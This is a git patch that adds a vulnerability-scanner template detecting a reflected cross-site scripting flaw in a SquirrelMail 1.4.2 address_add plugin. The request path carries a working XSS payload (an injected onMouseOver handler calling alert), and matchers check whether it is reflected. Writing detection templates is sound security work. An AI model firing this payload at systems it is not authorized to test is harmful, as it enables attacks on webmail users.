From c003036a7efd2032e0bb59fe0b254c00f4f75f93 Mon Sep 17 00:00:00 2001
From: Dhiyaneshwaran <leedhiyanesh@gmail.com>
Date: Mon, 15 Nov 2021 23:44:51 +0530
Subject: [PATCH] Create squirrelmail-vkeyboard-xss.yaml

---
 .../squirrelmail-vkeyboard-xss.yaml           | 29 +++++++++++++++++++
 1 file changed, 29 insertions(+)
 create mode 100644 vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml

diff --git a/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml b/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml
new file mode 100644
index 0000000000..c3a58accda
--- /dev/null
+++ b/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml
@@ -0,0 +1,29 @@
+id: squirrelmail-vkeyboard-xss
+
+info:
+  name: SquirrelMail 1.4.2 Address Add Plugin - 'add.php' Cross-Site Scripting
+  author: dhiyaneshDk
+  severity: medium
+  reference: https://www.exploit-db.com/exploits/26305
+  description: SquirrelMail Address Add Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
+  tags: xss,squirrelmail
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/plugins/address_add/add.php?first=HOVER%20ME!%22%20onMouseOver=%22alert('document.domain');'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "alert('document.domain')"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header